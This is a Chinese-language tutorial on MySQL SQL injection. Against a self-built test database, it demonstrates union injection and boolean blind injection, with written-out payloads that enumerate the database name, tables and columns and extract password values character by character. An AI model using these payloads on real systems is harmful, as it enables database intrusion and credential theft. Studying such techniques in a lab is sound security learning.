一、SQL注入条件
参数用户可控:前端传递给后端的参数内容是用户可以控制的。
参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库执行。
二、MySQL注入知识点
在mysql5.0之后默认存在一个information_schema数据库,该数据库中有三个表特别重要,分别为:SCHEMATA表、TABLES表、COLUMNS表。
SCHEMATA表中SCHEMA_NAME存放该用户创建的所有数据库库名:
SCHEMATA表
TABLES表中TABLE_SCHEMA和TABLE_NAME存放该用户创建的所有数据库库名和表名:
TABLES表
COLUMNS表中TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME分别存在该用户所创建的所有数据库名、表名、列名。
COLUMNS表1. mysql查询语法
SELECT 要查询的字段名 FROM 库名.表名
select * from mysql.user
mysql查询1
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名 = 已知条件的值
select * from mysql.user where user = 'root'
mysql查询2 SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名 = 已知条件1的值 AND 已知条件2的字段名 = 已知条件2的值
select * from mysql.user where user = 'root' and Host = 'localhost';
mysql查询32..limit 用法
limit相当于对查询的结果做约束,语法为limit m,n。m表示开始的位置,从0开始,n表示取的个数,limit 0,1表示
select * from mysql.user limit 0,1
limit用法3.需要记住的几个函数
database() :当前网站的数据库
version():当前mysql版本
user():当前数据库用户
4.注释符
mysql常见的注释符有#--空格和/**/
5.内联注释
内联注释形式如:/!xxx/,内联注释可以用于整个SQL语句中
/*!select*/ * from /*!mysql.user */;
内联注释
三、union注入
在Navicat中创建一个数据库并填入相关的表数据
数据库
编写union注入代码:
union注入
现在可以进行SQL注入了 1.判断是否存在注入:and 1=1
union注入
and 1=2
union注入发现存在存在注入,使用order by 语句查看当前表存在的字段数:
image.png发现存在4个字段,进行union注入:
image.png发现第二个字段和第四个字段存在回显,'-1'是让显示在语句不出错的情况下显示union select 之后的内容,接下来进行查看当前用户和当前数据库:
union 注入
查看表名:
union 注入查看列名:
union 注入通过limit x,1 对列名进行遍历:
union 注入
union 注入得到Password字段,对该字段进行读取:
union 注入利用limit x,1遍历其他用户和密码:
union 注入
union 注入
五、Boolean 注入攻击
编写boolean注入代码:
//以上代码过滤了关键字,且只回显‘yes’或者‘no’
此时无法进行union注入,可以进行bool注入
判断是否存在SQL注入:
bool 注入and 1=2显示no:
bool 注入说明存在SQL注入,因为是要bool 注入 故首先判断当前数据库的长度
payload:and length(database())>0
bool注入
boolean注入
boolean注入证明数据库名为4位,接下来对每一位进行获取:
payload:and ascii(substr(database(),1,1))>1
bool注入用二分法确定ascii值的区间再采用burp进行爆破,很快就能确定所有位。
bool注入
bool 注入可以看出第一位的ascii值为116-》't',依次往下执行得到最后的数据库名为'test',接下来去查看该数据库有多少表:
payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=1
bool 盲注
payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=2
bool 盲注说明存在一个表,接下来查看第一个表的长度:
payload:and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))=4
bool 盲注说明表名是4位,接下来开始爆破表名得每一位:
payload:and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>0
bool 盲注说明第一位是ascii是117-》'u',以此类推得到表名为'user',接下来查看表中有多少列,然后以此查看列名的长度位数和列名:
查看有多少列:
and (select count(column_name) from information_schema.columns where table_schema = 'test' and table_name = 'user' limit 0,1)>3
说明存在4列,查看第一列列名长度:
and length(substr((select column_name from information_schema.columns where table_schema='test' and table_name = 'user' limit 0,1),1))=2
变换limit x,1可以遍历出所有列名的长度,接下来爆破第一列的第一位:
and ascii(substr((select column_name from information_schema.columns where table_schema='test' and table_name='user' limit 0,1),1,1))>0
进行爆破后得出每一列的列名···
接下来提取数据:
and ascii(substr((select Password from user limit 0,1),1,1))=49
变换substr(x,y,1)中的y值一次爆破出数据···
最后得到整个数据库中的内容